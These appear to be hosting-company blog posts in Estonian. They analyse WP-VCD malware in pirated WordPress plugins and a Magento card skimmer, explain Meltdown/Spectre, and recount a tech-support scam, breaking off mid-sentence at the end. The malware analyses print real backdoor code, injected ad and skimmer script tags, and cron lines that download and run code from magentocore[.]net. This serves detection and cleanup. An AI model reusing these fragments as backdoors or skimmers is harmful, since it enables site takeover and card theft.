WP-VCD ehk eelpaigaldatud pahavaraga “tasuta” pluginad ja teemad

Kui sa kauba eest ei maksa, siis oled kaup sina ise. Või sinu arvuti. Või sinu veebileht.

Hetkel on meie juures üle 70 WordPressi-saidi, mis omaniku tahte vastaselt külastajaid erinevatele saitidele edasi suunavad. Põhjuseks “tasuta kohast” saadud tasuline plugin või teema … millega käib kaasas pahavara ehk täpsemalt öeldes tagauks.

Külastaja vaade

Toimub see kõik umbes nii:

  • külastaja saabub otsimootori kaudu veebilehele;
  • veebilehe koodi sokutatakse viited mujal asuvatele skriptidele;
  • kasutaja brauseris käivitatud skript jääb ootama esimest klikki…;
  • … ja avab uue brauserisaki, kus kuvatakse reklaami;
  • ühtlasi salvestatakse brauserisse küpsised, mis mõeldud reklaami efektiivsuse mõõtmiseks ja tagavad ka selle, et ta saaks soovitud veebis mõnda aega segamatult klikkida.

Reklaamini jõuab kasutaja läbi mitme edasisuunamise, näiteks minule pakuti testis laen[.]ee ja olybet[.]ee saite, esimeseks sammuks mõlemal puhul cobalten[.]com:

Veebiomaniku vaade

Minule monitooringus silma hakanud saitide puhul on pahavaraks WP-VCD, mille paigaldus-skript sisaldub enamasti class.plugin-modules.php või class.theme-modules.php nimelises failis, mis on lisatud “nullitud” (nulled) ehk sisuliselt piraaditud tasulisele pluginale või teemale:

<?php if (file_exists(dirname(__FILE__) . '/class.plugin-modules.php')) include_once(dirname(__FILE__) . '/class.plugin-modules.php'); ?>

Ääremärkus: kuna WordPress ja teemad on GPL litsentsiga vaba tarkvara, siis juriidiliselt ei ole nende kopeerimine piraatlus sest ainus asi mille eest raha küsitakse on uuendused, teemade puhul ka eraldi autoriõiguse all olev kujundus. Aga kuna antud puhul toimub sinu veebi ülevõtmine piraatide poolt, siis otsustasin kasutada nimelt seda sõna.

Golce & Dabbana? Roolex? Sir! I haz very good price, only original fakes!

See kood korraldab pahavara laiema paigalduse, nii näeb see välja pahavaraga WPML puhul:

2018-04-08 14:43 - ./wp-content/plugins/sitepress-multilingual-cms/inc/class.theme-modules.php
2018-04-08 14:43 - ./wp-content/themes/Avada-Child-Theme/functions.php
2018-04-08 14:43 - ./wp-content/themes/Avada/functions.php
2018-04-08 14:43 - ./wp-content/themes/twentyfifteen/functions.php
2018-04-08 14:43 - ./wp-content/themes/twentyseventeen/functions.php
2018-04-08 14:43 - ./wp-content/themes/twentysixteen/functions.php
2018-04-08 14:43 - ./wp-includes/wp-vcd.php

Ehk siis /wp-includes/wp-vcd.php saab oma sisuks paigalduskoodi ning selle käivitamiseks vajalik include läheb WP osaks oleva /wp-includes/post.php algusesse … ning class.theme-modules.php tehakse kenasti tühjaks, sealt ei tohiks hiljem vaadates enam midagi kahtlast märgata.

Lisaks paigaldatakse kõigi leitud teemade functions.php faili kood, mis võimaldab edaspidi lihtsalt muuta command & control serveri domeeninime … ning saadetakse ülevõetud serveri andmed peremehele:

if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'xxxxxxxxx'))
  {
$div_code_name="wp_vcd";
    switch ($_REQUEST['action'])
      {
        case 'change_domain';
          if (isset($_REQUEST['newdomain']))

Edaspidi märkab vaid kahe faili muutumist:

2018-07-28 00:07 - ./wp-includes/wp-tmp.php

2018-07-19 11:41 - ./wp-includes/wp-feed.php

wp-tmp.php failis hoitakse koodi mida peremees veebis kuvada soovib, nt:

<script type="text/javascript" src="//go.onclasrv[.]com/apu.php?zoneid=1635111"></script>
<script async="async" type="text/javascript" src="//go.mobisla[.]com/notice.php?p=1635222&interactive=1&pushup=1"></script>
<script src="//pushnest[.]com/ntfc.php?p=1662333" data-cfasync="false" async></script>

… ning wp-feed.php sisaldab adminnina sisse loginud kasutajate IP-aadresse – nii väldib pahavara seda, et saidi tegelik omanik kogemata reklaami näeks (lisaks läheb brauserisse ka vastav küpsis):

146.255.1xx.xxx
146.255.1xx.xxx
95.161.2xx.xxx
194.150.6x.xxx
146.255.1xx.xx

Ja kui siis veebi tuleb külastaja mõnest otsimootorist:

$ref = $_SERVER['HTTP_REFERER'];
$SE = array('google.','/search?','images.google.', 'web.info.com', 'search.','yahoo.','yandex','msn.','baidu','bing.','doubleclick.net','googleweblight.com');
foreach ($SE as $source) {
  if (strpos($ref,$source)!==false) {
    setcookie("sevisitor", 1, time()+120, COOKIEPATH, COOKIE_DOMAIN); 
	$sevisitor=true;
  }
}

… pannakse skriptid lehesappa ning märgitakse ta kaheks tunniks “ära reklaamituks”.

Kuidas kontrollida?

Kuna pahad skriptid saavad kuvatud ainult juhul, kui tuled otsimootorist ja ei ole varem sama IP või brauseriga olnud adminnina sisse logitud… siis:

  • kui oled adminnina varem sisse loginud – siis kasuta mobiiltelefoni internetti või mõnda wifi-võrku
  • ava Google Chromes inkognito aken, tee hiirega paremklõps ja vali “Inspekteeri” (pärast võib ka see liigutus reklaami avada)
  • googelda oma domeeni, siirdu lehele
  • vaata inspektori Elements vaates lehe jaluses olevaid skripte… või proovi klikkida oma veebis suvalisse kohta ja vaata, kas satud kuhugi, kuhu ei plaaninud sattuda

Loomulikult võib ka vaadata FTPga serverisse – kui leiad /wp-includes/wp-vcd.php faili, siis on tegemist täpselt siinkirjeldatud pahavaraga.

Koristaja vaade

Kuna ainus turvanõrkus on (loodetavasti) see piraat-teema või -plugin ning serveris toimuva muster näib olevat ühetaoline, ei tohiks puhastamine olla ülearu keeruline:

  1. leia üles probleemne teema või plugin ja asenda see ametliku, puhta versiooniga (jah, see maksab raha – sest kellegi jaoks on selle valmistamine ja värskena hoidmine töö) – otsi class.plugin-modules.php või class.theme-modules.php nimelist faili
  2. kustuta ära kõik kasutusel MITTE olevad teemad ja pluginad (lihtsam puhastada)
  3. eemalda /wp-includes kataloogist wp-feed.php, wp-tmp.php ja wp-vcd.php; post.php algusest eemalda include käsk
  4. käi üle teema(de) functions.php failid ning eemalda nende algusest kahtlane kood
  5. vaata igaks juhuks ctimer.php abil ega mõnda muud faili näpitud ole
  6. turvakaalutlusel võiks ära vahetada ka: andmebaasiparooli, WP kasutajate paroolid ning wp-config.php‘s olevad soolad
  7. … ning kui juba veebis oled, siis uuenda ära ka WP ja kõik pluginad-teemad (ning vii veeb HTTPS peale + vaheta PHP versioon värskeima toimiva vastu – ilmselt 7.1 või 7.2)

Kui koristamistegevus keeruline tundub, siis kirjuta info@zone.ee, maini WP-VCD probleemi ja telli meilt puhastustöö (mõnede levinumate pluginate nagu WPML puhul on meil olemas arendaja-litsents ja saame need kenasti ametlike/legaalsetega asendada, vähemlevinud pluginate puhul lisandub nende hind tööaja hinnale).

Magento ja krediitkaardivarastaja (ja andmekaitse üldmäärus)

Veebipood on küberkurjategijatele hea koht väärtusliku info kogumiseks, sest sinna sisestavad kasutajad nii aadressi kui ka makseinfo. Piisab süütuna näivast skriptist, et ostu vormistamisel sisestatud info “kuhu vaja” edasi saata.

2016. aasta sügisel said mitmed Magento e-poed täpselt sellise pahavaraga pihta, Eestis oli nende hulgas näiteks Jysk. Monitoorides Zones majutatud veebe, hakkas mulle täna silma sarnane skript, mida laetakse näiliselt Magentoga seotud domeenilt (pikem nimekiri kasutusel olnud domeenidest Willem de Groot’ilt):

<script type='text/javascript' src='https://magentocore[.]net/mage/mage.js'></script>

Skript näeb aga välja üsna kahtlane ja esmamuljet kinnitab ka Virustotal:

jsnice.org teeb selle veidike loetavamaks:

Punased stringid viitavad chekout-vormi väljadele nagu krediitkaardinumber, kehtivus ja arveaadress ning need saadetakse kenasti magentocore[.]net aadressil asuvale vormile edasiseks ärakasutamiseks.

Ääremärkus: enamus Eesti e-poode kasutab makselahendusena õnneks välist teenust ja krediitkaardiandmete sisestamine toimub mujal. Küll aga olen näinud ka poode, mida see probleem võiks puudutada. Täna leitud poed said juba ka isiklikult e-posti teel teavitatud.

Ääremärkus 2: … aga kurjategijad on poes sees ja isegi juhul, kui ei varastata krediitkaardiandmeid, siis on neil ligipääs kasutajate isikuandmetele ehk andmekaitse üldmääruse (GDPR) mõttes on tegemist vähemalt potentsiaalse isikuandmete lekkega.

Mis mulle aga eriti meeldis ühe täna leitud häki juures, oli muudatus cron.php’s ehk failis, mida süsteem iga 5 minuti takka käivitab:

shell_exec("wget -c https://magentocore[.]net/clean.json -O ./app/code/core/clean.php 2>&1");
shell_exec("wget -c https://magentocore[.]net/clear.json -O ./app/code/core/clear.php 2>&1");
shell_exec("php ./app/code/core/clean.php 2>&1");
shell_exec("php ./app/code/core/clear.php 2>&1");
unlink('./app/code/core/clean.php');
unlink('./app/code/core/clear.php');

Ehk siis perioodiliselt laetakse alla ja käivitatakse mingit koodi. Mida see teeb? Mõlemad otsivad üles Magento andmebaasi-konfiguratsiooni ning siis teevad seal järgmist:

  • clean.php otsib konfiguratsioonitabelist (võõraste?) skriptide signatuure ja kustutab need ära (olgu öeldud, et skriptid on paigaldatud Magento adminnis oleva päise- ja jaluseskriptide seadistuse kaudu):
mysqli_query($link, "delete from " . $db_prefix . "core_config_data where value like '$sing'");
  • clear.php aga muudab ära hulga (teiste ründajate loodud?) admin-kasutajate paroolid:
$users = array('1','1468177885','1470303373','a','aborman','acid','admin01','admin1','admin123','admin5','adminhendra','adminnew','adminray','admins','adminu','admin_bfei','admin_ihfb','afletcher','ajen','alexgvn123','alif','ameendering','Ameliaaa','an','anin48','anjeng','anjeng12','Anr_01','ardyan','as','asdasd','astroeh','asu123','asuasu','asulan123','Audi','azer','aziz','Backup','backup_35f69d','badcc','bangsat','berandal','bgades','bgross','biji','bschlotter','bwilson','c0krek','cahyodp','camuv1653','casa','cbaker','cecun','cevans','cgcf','cgreenfield','cknobloch','clayser','ClayX404','cmorgan','coco','codex','coq','cruis','cvanstryland','cwarton','d','dalexander','ddoine','Death','dede','dedeganteng','default123','defaults','defaults01','defaut123','design','developer','dhsjcsc','diablox','Dian2206','dkelly','dlc','dmorgan','dpender','dsacks','dstefan','eCommerce','edorr','ehooser','einlow','ejameson','ekennedy','erik','erobinson','eznt@i.ryanb.com','family','faqih212','FathurFreakz','ferdi123','fikrihaikal35','forme','frozen404','fwilde','geizkayusuf','gfd','ggrav','ghaz','gigihmhd','gladz','gmr','golix19','GolixGates1','google','gustaman','haydar','haydra','hell','hiddenymouz','hornetto','hunter2','hydro','Hysoka','i','ibizta','iko','indoxploit','iniadmin','irfan','jaja','jancok','jancoks','janderson','jayzweed','jbonnell','jdragovich','jefri','JelexCrew','jengel','jhemphill','jhogan','jhult','jmartin','jockerdz','jonson','jtappe','juancok','katon','kedaong','kehise','kenta','khise','khoogers','kimak','kimyounsin','king','kkruger','kmagnan','knap13','knelson','Kontol900!','kotack','kuyas','kwwilliams','kwynia','lalapo123','LastTouch','lluethje','localsystem','Loic','lthummagunta','lucu','m4tr1x','madmax','maganeto','magento','magento1','mageplas','magsupport','malang','manggo','manick','masthio01','mcopa','meldred','Memekl3g17','mgonzalez','mind','mlaudenbach','mlomo','momo','moza','mperry','mranupak','mrsakso','msas','msf','msivalingam','mtrudell','mturico','mwaldner','mwelbig','mwendt','nathan','nbrouwer','ncastelli','neqyns13','ngentod','ngentot123','nmccray','nnordman','noob','novara','nrussell','nzero','o','omyo123','ouni','owadmin','pak','paypal','pbk7695K@','penggunalayanan','pikri','policy','pujasucipto','putra7695K','r0cky','rami','rctioke7','rcummings','rdewolfe','restuser','revian29','rezafirdaus','rezafirdaus21','rhaan','Rieqy','rieqyns13','rkm48','rmiller','robert','Root','rseeker','s','sadmin','samikom','sav.admin','saz','sdunham','semprol','sgood','sgoodman','shansen','shayer','sheinz25','Shor7cut','Sihdaunix','sjohnson','slackerc0de','slamusga','smolix','soliro','ss123','staff.developer','stores','stupid','Support','surya','surya1','svandenheuvel','swhite','sysadm','sysadmiin','sysadmin','sysadmin1','sysmon','system32','systemadmin','systembackup','T1KUS90T','tadamec','tae','tamedeo','tanderson','task','teastmond','telgersma','terserah','tesdar','test','tfgh','Thole129','tomhawk','training','tvanhouten','ubehera','ui','upel666','uSer','VHiden133','vpotter','wajixz','wawa','wew','ybickham','youmisscry','ywigaraa','zadmin','zaz','ziko','zxc','zxcyou636','_admin','gogle','Nexcess');

$users_password = "how1are2you3";
[.....]
mysqli_query($link, "update " . $db_prefix . "admin_user set password='$hash' where username = '$u'");
[.....]

Olgu öeldud, et how1are2you3 saab ka prefiksi ja sufiksi, nii et päris selle näite varal pole mõtet hakata samal moel häkitud saite läbi proovima 🙂

Vaatame parem admin-kasutajate tabelisse:

Nagu näha, on äsja lisatud uusi kasutajaid … ning ka olemasolevate kasutajate – sh saidi omaniku, admini ja arendaja omad, on muudetud samaks viimase ründaja omaga, sest parooli-räsid on samad (algusega af… on seejuures lihtsalt ühe lisatud kasutajanime räsi).

Kuidas see küll võimalik saab olla? Hold my beer while I call Magereport!

See on nüüd küll demonstratiivselt mage raport – paigaldamata on isegi 2015 suvel väljastatud turvapaigad… ma ei hakka isegi oletama, et millise kaudu neist täpselt sees käiakse.

Ülejäänud asjaomastest saitidest leitud tagauksed olid üsna igavad ning neid ei ole mõtet siinkohal esitleda.

Kui satud sellist saiti puhastama, siis:

  • uuendused, uuendused, uuendused;
  • leia üles ja eemalda tagauksed (ei pruugi olla kerge töö, sest tõenäoliselt trallib seal juba eiteamitmes kuritegelik seltskond);
  • vaata üle adminnkasutajad, eemalda kahtlased, reseti allesjäänute paroolid;
  • vaheta SQL paroolid – jagatud serveri puhul piisab kurjategijal muidu ligipääsust phpMyAdmin’ile, et endale jälle sobiv adminniparool seada…

Meltdown ja Spectre ehk kuidas bittidega spekuleerida ja võõras mälus sobrada

Saabunud aasta algas IT-inimestele korraliku üllatusega – 3. jaanuaril jõudis avalikkus ette info, et protsessoritest on avastatud turvaprobleemid, mis võimaldavad sõltumata kasutatavast opsüsteemist pahatahtlikel tegelastel saada ligipääs andmetele, millele nad kuidagi ligi saada ei tohiks.

Kuigi alguses oli jutt peamiselt Inteli protsessoritest, sai peagi selgeks, et ka teiste tootjate protsessorid on probleemist mõjutatud, kuigi oluliselt vähem kui Inteli toodetud.

Üldise meeleolu illustreerimiseks sobib kenasti video terasetehasest. Meie püüame olla need tegelased lõpukaadritest, kes paanikasse ei satu, toimuvat dokumenteerivad ja rahulikult tagajärgedega tegelemiseks valmistuvad 🙂

Nagu tänapäeval tavaline, said turvaprobleemid oma tavapärastele CVE numbritele lisaks nime, veebilehe jpms. Peamiselt ainult Intelit puudutav probleem sai nimeks Meltdown (CVE-2017-5754) ja kaasaegsete protsessorite enamust puudutav probleem on Spectre, millel on kaks variatsiooni (CVE-2017-5753 ja CVE-2017-5715).

Kui üritada seda ühe lausega öelda, siis mõlema näol on tegemist on nõrkustega, mis võimaldavad pahatahtlikel rakendustel spekulatiivselt koodi käivitatavate protsessorite disainiprobleeme ära kasutades lugeda seadmetes külgkanalründe abil mälu, millele nad tegelikult ligi pääseda ei tohiks. Kuidas saab protsessoris üldse selliseid vigu olla ning millega täpsemalt tegemist, on jäänud paljudele arusaamatuks.

Sõnad “külgkanalrünne protsessori spekulatiivse käivitusse realisatsioonide vastu” ei tee enamusele asja oluliselt selgemaks, kuid neile, kes huvi tunnevad, on postituse lõpus lihtsustatud kokkuvõte probleemi olemusest. Kõik, kel jõud ja mõistus üle käib, peaksid kindlasti läbi lugema probleemid avastanud teadlaste originaalartiklid.

Mida siis nende probleemide tõttu tegelikult teha saab?

Praktiliselt ainult Inteli protsessoreid puudutav Meltdown on kahest probleemist tõsisem – kui pahatahtlik rakendus saab seadmes ennast käivitada, siis sellest piisab, et kogu operatsioonisüsteemi tuuma kasutuses olevat mälu maha lugeda. Lugemine ei toimu küll eriti kiiresti, kuid piisavalt, et sellest edasiseks ründeks ära kasutatavaid andmeid (paroolid, krüptovõtmed jms) leida. Probleemi on võimalik vältida tarkvaraliste vahenditega ja tänase päeva (15.01.2018) seisuga on kõik peamised operatsioonisüsteemid (Windows, MacOSX, iOS, Linux, Android) ka turvapaigad väljastanud.

Spectre võimaldab pahatahtlikul rakendusel lugeda nii operatsioonisüsteemi tuuma kui ka teiste rakenduste mälu, kuid selle ära kasutamine on oluliselt keerulisem. Selleks ei piisa lihtsalt koodi käivitamisest – see eeldab ka konkreetsete ära kasutatavate koodimustrite olemasolu operatsioonisüsteemi tuumas või teistes rakendustes. Keerukam on ka Spectre mõjude kõrvaldamine ning see võtab veel aega. Üks Spectre variatsioonidest on ilmselt suhteliselt lihtsalt lahendatav operatsioonisüsteemi tuuma tasemel, kuid teise vastaste meetmete otsing veel käib. Praegu olemas olevad lahendused on väga kulukad – kas kannatab jõudlus väga palju või peaks kõik seadmetes olevad rakendused uue kompilaatoriga ringi kompileerima.

Arusaadaval põhjusel on eelkõige ohustatud keskkonnad, kus kasutajad saavad vabalt koodi käivitada – eelkõige jagatud serverid ning virtuaalmasinate keskkonnad. Virtuaalmasinate puhul võimaldavad need nõrkused kasutajal ka ennast virtuaalmasinast välja murda – lugeda hüperviisori ja teiste virtuaalmasinate mälu. Kuid ohus on ka kõik tavalised tööjaamad – probleeme uurinud eksperdid on tõestanud, et rünnak toimib ka JavaScripti kaudu. Praeguseks on kõik suuremad brauserid rakendanud meetmed, et veebi kaudu probleemide ära kasutamine oleks vähemalt hästi keeruline.

Suhteliselt pessimistliku kirjelduse peale tekib kindlasti küsimus, et kuhu poole nüüd paanikas jooksma peaks ja mida tegema? Ja miks see üleüldse nii kaua aega võtab?

Üks on selge – protsessoreid välja vahetama ei hakka ei Intel ega ka ükski teine tootja ning nendest probleemidest vabad protsessorid jõuavad meieni ilmselt alles järgmisel aastal. Kuid rahu, ainult rahu. Probleemid on vaatamata tõsidusele protsessoritootjate abiga tarkvaras lahendatavad ning kõigi arenduses olevate operatsioonisüsteemide arendajad on praegu ametis. Aega võtab see ka selle pärast, et olukord on väga paljudele uus – tarkvara ja riistvara tootjad peavad tegema koostööd ja üksteist ka usaldama. Ma olen kindel, et tsivilisatsioon ei kuku veel selle pärast kokku, kuid turvapaikade operatiivne paigaldamine on olulisem kui kunagi varem. Nagu juba eespool öeldud, on Meltdown praeguseks juba suuremates opsüsteemides paigatud ning kui sul on uuemad turvapaigad seadmetes, oled sa tõenäoliselt selle vastu juba kaitstud.

Oluline on ka mõista, et kui ründajal pole seadmes võimalik koodi käivitada, otsest ohtu pole. Mis ei tähenda muidugi seda, et esimesel võimalusel uuendamist siiski ette võtma ei peaks – Meltdown ja Spectre võivad olla osa keerulisemast ründest, kus mingi teise turvaprobleemi tõttu saavutatakse kõigepealt koodi käivitamise õigus.

Kuidas Meltdown ja Spectre Zone servereid mõjutavad?

Nii Virtuaalserverite kui Pilveserverite puhul jagab hulk kliente sama riistvaralist serverit ning turvaprobleemid, kus ühe kliendi serveris jooksev kood võib mõjutada teisi, on meie jaoks kõrgeima prioriteediga. Tänaseks on Zone serverid Meltdowni vastu kaitstud – enamus juba 06-08.01 nädalavahetusel.

Küll aga tuletame meelde, et Pilverserver PRO kasutajad peavad oma virtuaalmasinate kernelite uuendamise eest ise hoolt kandma (Pilveserver VPS kernelid uuendasime 07.01 varahommikul).

Meie tehnikud jälgivad sündmuste arenguid ja paigaldavad parandused ka Spectre vastu niipea kui võimalik. Võimalik, et selleks on vaja veel üht erakorralist hooldusakent.

Kas Meltdown’i paikamine mõjutas ka serverite töökiirust?

Paikade mõju sõltub rakendusteks, aga tavapärase veebirakenduse puhul on meie seninsed testid näidanud, et muutus on pea olematu. Tegime oma koormustestiks kasutatava WordPress+WooCommerce+WPML+Flatsome näidisrakendusega teste ning uurisime rakenduse tasemel monitooringus olevate veebide käitumist ning mingit mõõdetavat erinevust ei tuvastanud.

Küll aga on muutus näha Pilveserver VPS protsessori-aja kasutuses. Sellel pildil on üks hardware node, kus ilmselt VPSides jooksvate rakenduste eripärast lähtuvalt on syscall’ide osakaal märkimisväärne ja kasvab ca 2% pealt ca 10% peale:

Kuna enamikul ülejäänutest oli kasv oluliselt väiksem, tasub rakenduse töökiiruse muutumisel vaadata üle kõik syscall’e põhjustav ehk ennekõike IO, sh andmebaasikasutus. Selle osa optimeerimine on mõistlik ka ilma Meltdown ja Spectre paikade negatiivse mõju peale mõtlemata.

Trivialiseeritud Meltdown ehk “Kuidas lugeda võõrast mälu?”

Probleemide olemuse mõistmine pole tegelikult ühelegi programmeerimisega kokku puutunule üle jõu käiv, kuid illustreerib väga hästi külgkanalründe olemust. Alljärgnev on kõvasti lihtustatud versioon Meltdown probleemist. Kõigepealt räägime pisut kaasaegse protsessori tööst.

Kaasaegsed protsessorid on kiired, kuid mälust lugemine ja sinna kirjutamine ca 100x aeglasem. Et protsessor mälu taga pidevalt ootama ei peaks, on protsessoritel varuks hulga trikke, millest olulisimad on spekulatiivne käivitamine ja vahemälu.

Kui arvutitunnis räägiti teile, et protsessor käivitab ühe käsu teise järel, siis tänapäeval ei vasta see tihti enam tõele. Kuna protsessorid on mälust nii palju kiiremad, üritavad nad juhul, kui neil midagi targemat teha pole, järgmiseks käivitatavaid programmi harusid ette aimata ning selle töö ka igaks juhuks ette ära teha. Kui peaks juhtuma, et tõenäoline stsenaarium siiski ei realiseerunud, unustatakse see igaks juhuks ette tehtud töö tulemus lihtsalt ära. Kuna spekulatiivset tööd tehakse protsessori “vabast ajast”, ei muuda see midagi aeglasemaks, kuid kui stsenaarium realiseerub, on kiirusevõit oluline.

Võtame näiteks alltoodud veebilehe vaatamise pseudokoodi. Lehe kerimine on veebilehel oluliselt tõenäolisem sündmus kui lingile vajutamine ning protsessoril on kasulik see alati ette ära teha, isegi kui kasutaja veel kerimise liigutust teinud pole.

kui (kasutaja kerib lehte alla) {
  liigu rida allapoole;
} vastasel juhul kui (vajutatakse lingile) {
  liigu uuele lehele;
}

Sellisest spekulatiivsest käivitamisest poleks iseenesest aga väga palju kasu, sest suure tõenäosusega vajavad ka need käsud mälu poole pöördumist. Selle vältimiseks on protsessorites endis olemas hästi kiire vahemälu, kus hoitakse hiljuti kasutatud või sagedamini vaja minevaid andmeid neid mälust sinna portsu kaupa laadides. Kui protsessor vajab käsu täitmiseks andmeid mälust, laaditakse need vahemällu, kuhu need jäetakse ka pärast käsu täitmist – igaks juhuks, äkki läheb vaja.

Nüüd on meil olemas kõik põhiteadmised, et mõista alljärgnevat pseudokoodi. Pahatahtlik häkker soovib teada saada mis on mäluaadressi 0x200 vähima kaaluga biti väärtus. Rakendus ei saa seda mäluaadressi otseselt lugeda, kuid ta saab kirjutada sellise programmi.

kui (tingimus) {
  kui (aadressil 0x200 on 1) {
    loe väärtus aadressilt 0x800;
  } vastasel juhul {
    loe väärtus aadressilt 0x900;
  }
}
loe väärtus aadressilt 0x800;
mõõda eelmise käsu täitmiseks kulunud aeg;
loe väärtus aadressilt 0x900;
mõõda eelmise käsu täitmiseks kulunud aeg;

Protsessor täidab spekulatiivselt tingimuslaused ja kuigi selle käigus toimub lugemine aadressilt 0x200, millele pahatahtlik rakendus ei tohiks ligi saada, on see esmapilgul ohutu, sest protsessor on disainitud nii, et rakendus lõpetaks töö kohe, kui „tingimus“ peaks tõeks osutuma ja enne, kui 0x200 aadressilt lugemine rakenduseni reaalselt jõuaks. Sellel spekulatiivsel tingimuslausete täitmisel on aga kõrvalefekt – kas 0x800 või 0x900 aadress laaditakse protsessori vahemällu. Kui nüüd pärast seda mõõta 0x800 ja 0x900 aadresside lugemiseks kuluvat aega, on meil võimalik järeldada kas kumbki neist oli juba protsessori vahemälus olemas (kiire) või tuli seda mälust lugemas käia (aeglane) ning sellest järeldada aadressil 0x200 asuva biti väärtuse.

Tegelikult on probleemide olemus ja ära kasutamine muidugi märksa keerulisem, kuid põhimõte on just nii lihtne – pahatahtlik rakendus saab aja mõõtmise abil järeldada mis väärtused on mäluaadressidel, millele ta muidu ligi ei pääse. Kuna mäluaadresse otse ei loeta, vaid seal leiduva kohta tehakse järeldusi käskude käivitamiseks kulunud aega mõõtes, nimetataksegi selliseid ründeid külgkanalrünneteks (inglise keeles side-channel attack).

Tehnilise toe pettus ehk “Appi! Minu arvutisse tungisid häkkerid!”

Küberpättide erinevatest viisidest netikasutajate võrkudesse ja arvutitesse tungimisest ning nende ülevõtmistest võiks ilmselt kirjutada riiuleid täitvaid raamatuid. Tänu netitarbijate küberohuteadlikkuse üleüldisele paranemisele oleme aga üha enam hakanud saama kirju, kus kasutaja on pettusest aru saanud ja tahaks sellest kellelegi teada anda.

Täna keskendume ühele sedasorti skeemile, mis on tuntud kui “Microsofti klienditoe pettus”. Liimile lennanud ja seeläbi oma arvuti üle kontrolli kaotanud kasutajatelt nõutakse kompuutri “puhastamiseks” kopsakaid summasid või lausa lunaraha. Ja kui ohver ei maksa, siis hakkavat tema arvuti ohjeldamatult pahavara, viiruseid ning muud jama levitama.

Järgnev on ühe meie kliendi pöördumine, mis kirjeldab toimunu põgusalt ära. Ta oli lahkesti nõus oma kogemust meie lugejatega jagama, et aidata sellega ära hoida sarnaseid lõksulangemisi tulevikus.

Juhtus selline asi, et internetis surfamise ajal mu arvuti äkki blokeerus, tulid ette mingid kastikesed ja inglisekeelne hääl, mis ütles, et minu arvutisse püüdsid just häkkerid sisse murda, et arvuti on suures ohus jne. Mul ei õnnestunud liikuda ei edasi ega tagasi, panin vahepeal arvuti kinni, aga lahti tehes oli ikka seesama jama ees.

Kastikeses seisis kirjas, et tuleb viivitamatult helistada Microsofti tugikeskusesse (seal oli antud telefon +372 668 24**). Helistasin siis, küsiti, et millega saavad aidata. Kõik toimus inglise keeles. Rääkisin probleemi ära. Kästi minna mõne teise brauseriga leheküljele www.helpme.net. Sinna tuli sisestada oma nimi ja kood, mis anti mulle telefonis. Seejärel laadis arvuti alla ühe .exe faili, mis tuli avada, ja hakkas peale mingi töötlusprotsess. See pidi olema arvuti skanneerimine.

Asi lõppes sellega, et öeldi, et mul on vaja oma arvutile kaitse- või turvaprogramm peale panna, see maksvat 400 eurot ja seda saavat ainult nende käest. Selle peale lõpetasin kõne ära ja lasin ühel tuttaval oma tuttava it-mehe käest küsida, mida selline asi peaks tähendama. Tema ütles, et see olevat lollide püüdmise nipp ja et sellest tuleb kindlasti kuhugi teatada.

Ma aga muretsen nüüd selle pärast, et ma üldse nendega suhtlesin ja selle .exe faili avasin. Lihtsalt ei teadnud, milles asi. Kardan, et äkki neil on nüüd mu arvutile ja andmetele mingi juurdepääs. Esialgu polnud muud hullu märgata, kui nool ei reageerinud klikkamistele. Praegu panin selle arvuti kinni ja võtsin teise arvuti. Aga kas on oht, et mu kontodele võidakse ligi pääseda ja mis ma peaksin nüüd tegema? Kasutan ka internetipanka.

Aitäh, P. – loodetavasti oli Su arvuti ülevaatus päris IT-spetside poolt edukas!

Mis siis toimus?

Asja lühidalt kokku võttes kuvati arvutikasutajale “reklaambännerit” väitega, et arvuti on nakatatud – see võib juhtuda mõne täiesti viisaka veebilehe külastamisel puhta arvutiga. Kuna meil konkreetse reklaami näidet pole, siis laename sarnase päris-Microsofti Windows Security blogist:

Sedapuhku oli aga kirsiks tordil ilus Eestimaine telefoninumber. Mis siis ikka, astusime läbi lähimast Selverist ning ostsime odavaima ehk 1€ kõnekaardi – ning panime püsti värske Windows 8 virtuaalmasina, mille saab pärast blogiposti jaoks piltide tegemist minema visata. Ka võrguühenduseks kasutasime 4G võrku.

Kohustuslik hoiatus: “Palun ära proovi seda kodus järgi teha!”. Meie kasutatud virtuaalmasin läks pärast testi hävitamisele.

On aeg valida number, mis ühendab meid ilmselt kusagilt Indias oleva kõnekeskusega:

Seejärel palutakse kasutajal avada brauser, minna Google lehele ning öeldakse, mis tuleb sisse tippida. Meil tuli otsida “fast support” ning nii jõudsimegi fastsupport.com lehele. Samasse viib edasi ka algses kirjas viidatud helpme.net. Tegemist on tuntud LogMeIn teenusega, mille kaudu osutavad tehnilist kaughaldustuge sajad erinevad infotehnoloogiaettevõtted üle maailma.

“Tehnilise toe” osutamiseks on petturid loonud enesele Fastsupport keskkonnas kasutajakonto, millega kaasneb automaatselt ka kaughaldusrakendus. See laeti “kärbsepaberile” lennanud ohvri arvutisse .exe failina niipea, kui viimane oli petturite “tehnilise toega” telefonitsi ühendust võtnud ning veenvalt ja usutavalt teispool toru inglise keeles esinenud petturitelt saadud koodiga Fastsupporti keskkonda sisenenud.

Ehkki kõnealuse veebilehe sisselogimiskeskkonna päises on hoiatus, mis kutsub kasutajaid üles ettevaatlikkusele oma arvutile ligipääsu võimaldamisel ning kahtlastest tegevustest neile kindlasti märku andma, on küberkriminaalid leidnud siiski viisi ka selle keskkonna kurjalt ärakasutamiseks. Ja nagu eelnevast näitest näha, teevad nad seda osavalt.

Kui keegi meie lugejatest peaks sarnase olukorraga tulevikus kokku puutuma, siis kuni selle hetkeni (kaughaldurakendus on laetud, aga “yes” on klikkimata), pole reaalselt veel mingit kahju tehtud. Siit edasi võtab aga pettur arvuti üle juba täieliku kontrolli, liigutab ekraanil hiirt ja tipib käskusid.

Edasine suhtlus seisnebki selles, et pettur näitab arvutis erinevaid “probleeme”: veateated süsteemsete sündmuste logis, mingid kummalise nimega DLL-failid mille nime googeldamine annab tulemuseks väite, et tegu on tagauksega. Jah, internetis on tõesti olemas veebilehed, mis sisaldavad praktiliselt kõigi Windowsi komponentide kohta selgitust, et tegu on suure probleemiga ja kohe on vaja osta mingi võlts antiviirus:

Et asi veelgi hirmsamaks ajada, käivitatakse käsurealt Netstat näitamaks, et arvutil on mingid võrguühendused püsti ja selle käigus küsitakse kasutajalt, kas ta tunneb neid IP-aadresse. Ei tunne? Raudselt on tegu häkkeritega:

Aga töö käigus mõeldakse ka tulevikule. Meie puhul käis kiiresti ekraanilt läbi tegevus mingi “syskey” nimelise tööriista abil:

